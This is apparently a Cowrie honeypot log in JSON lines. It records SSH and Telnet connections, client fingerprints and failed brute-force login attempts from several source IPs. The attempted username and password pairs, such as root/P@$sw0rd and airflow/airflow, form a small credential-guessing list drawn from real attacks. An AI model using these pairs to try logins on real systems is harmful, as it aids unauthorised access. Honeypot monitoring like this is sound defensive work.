{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:59.346869Z","src_ip":"165.154.137.186","session":"ae94c69e48de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:00.174212Z","src_ip":"165.154.137.186","session":"ae94c69e48de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:01.457797Z","src_ip":"165.154.137.186","session":"ae94c69e48de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45242,"dst_ip":"10.17.0.5","dst_port":22,"session":"95173ada2102","protocol":"ssh","message":"New connection: 165.154.137.186:45242 (10.17.0.5:22) [session: 95173ada2102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:02.784444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:02.792043Z","src_ip":"165.154.137.186","session":"95173ada2102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:03.046933Z","src_ip":"165.154.137.186","session":"95173ada2102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54208,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c5711beb25","protocol":"telnet","message":"New connection: 170.64.224.25:54208 (159.203.135.109:23) [session: 55c5711beb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:03.638030Z"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:03.811066Z","src_ip":"165.154.137.186","session":"95173ada2102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:05.068053Z","src_ip":"165.154.137.186","session":"95173ada2102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48164,"dst_ip":"10.17.0.5","dst_port":22,"session":"344ed6c5423e","protocol":"ssh","message":"New connection: 165.154.137.186:48164 (10.17.0.5:22) [session: 344ed6c5423e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:10.245797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:10.251027Z","src_ip":"165.154.137.186","session":"344ed6c5423e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:10.514797Z","src_ip":"165.154.137.186","session":"344ed6c5423e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:11.307244Z","src_ip":"165.154.137.186","session":"344ed6c5423e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:12.574503Z","src_ip":"165.154.137.186","session":"344ed6c5423e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:21.416461Z","src_ip":"8.210.75.243","session":"5b7488d9aa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":38272,"dst_ip":"159.203.135.109","dst_port":23,"session":"6500018644f2","protocol":"telnet","message":"New connection: 128.199.209.169:38272 (159.203.135.109:23) [session: 6500018644f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:21.594657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:35.586916Z","src_ip":"8.210.75.243","session":"39e8a92cb589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:35.589560Z","src_ip":"8.210.75.243","session":"39e8a92cb589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":49212,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1d5e525d7e","protocol":"ssh","message":"New connection: 38.242.143.220:49212 (10.17.0.5:22) [session: 5d1d5e525d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:37.023074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:37.027195Z","src_ip":"38.242.143.220","session":"5d1d5e525d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:37.141243Z","src_ip":"38.242.143.220","session":"5d1d5e525d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ton","password":"ton123","message":"login attempt [ton/ton123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:37.507363Z","src_ip":"38.242.143.220","session":"5d1d5e525d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:38.609154Z","src_ip":"38.242.143.220","session":"5d1d5e525d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.09454965591431,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:45.967416Z","src_ip":"170.64.224.25","session":"1f9570af1653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":39034,"dst_ip":"159.203.135.109","dst_port":23,"session":"5463ff358bdd","protocol":"telnet","message":"New connection: 128.199.209.169:39034 (159.203.135.109:23) [session: 5463ff358bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:48.237527Z"}
{"eventid":"cowrie.session.closed","duration":0.0041463375091552734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:48.241531Z","src_ip":"128.199.209.169","session":"5463ff358bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":41978,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf1b0cade89","protocol":"ssh","message":"New connection: 101.47.159.50:41978 (10.17.0.5:22) [session: 2bf1b0cade89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:49.043185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:49.046396Z","src_ip":"101.47.159.50","session":"2bf1b0cade89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:49.288046Z","src_ip":"101.47.159.50","session":"2bf1b0cade89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd","message":"login attempt [root/P@$sw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:50.287546Z","src_ip":"101.47.159.50","session":"2bf1b0cade89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:43:51.532100Z","src_ip":"101.47.159.50","session":"2bf1b0cade89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:05.867155Z","src_ip":"8.210.75.243","session":"66b9e1d0d6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92bdb9b11b3","protocol":"ssh","message":"New connection: 165.154.137.186:40184 (10.17.0.5:22) [session: f92bdb9b11b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:14.941813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:14.949766Z","src_ip":"165.154.137.186","session":"f92bdb9b11b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:15.217074Z","src_ip":"165.154.137.186","session":"f92bdb9b11b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:16.017053Z","src_ip":"165.154.137.186","session":"f92bdb9b11b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:17.285717Z","src_ip":"165.154.137.186","session":"f92bdb9b11b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40200,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fc42350eb1","protocol":"ssh","message":"New connection: 165.154.137.186:40200 (10.17.0.5:22) [session: 27fc42350eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:18.438577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:18.470476Z","src_ip":"165.154.137.186","session":"27fc42350eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:18.792068Z","src_ip":"165.154.137.186","session":"27fc42350eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:19.714282Z","src_ip":"165.154.137.186","session":"27fc42350eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41500,"dst_ip":"10.17.0.5","dst_port":22,"session":"175146b6bfa3","protocol":"ssh","message":"New connection: 165.154.137.186:41500 (10.17.0.5:22) [session: 175146b6bfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:20.369814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:44:20.373975Z","src_ip":"165.154.137.186","session":"175146b6bfa3","protocol":"ssh"}
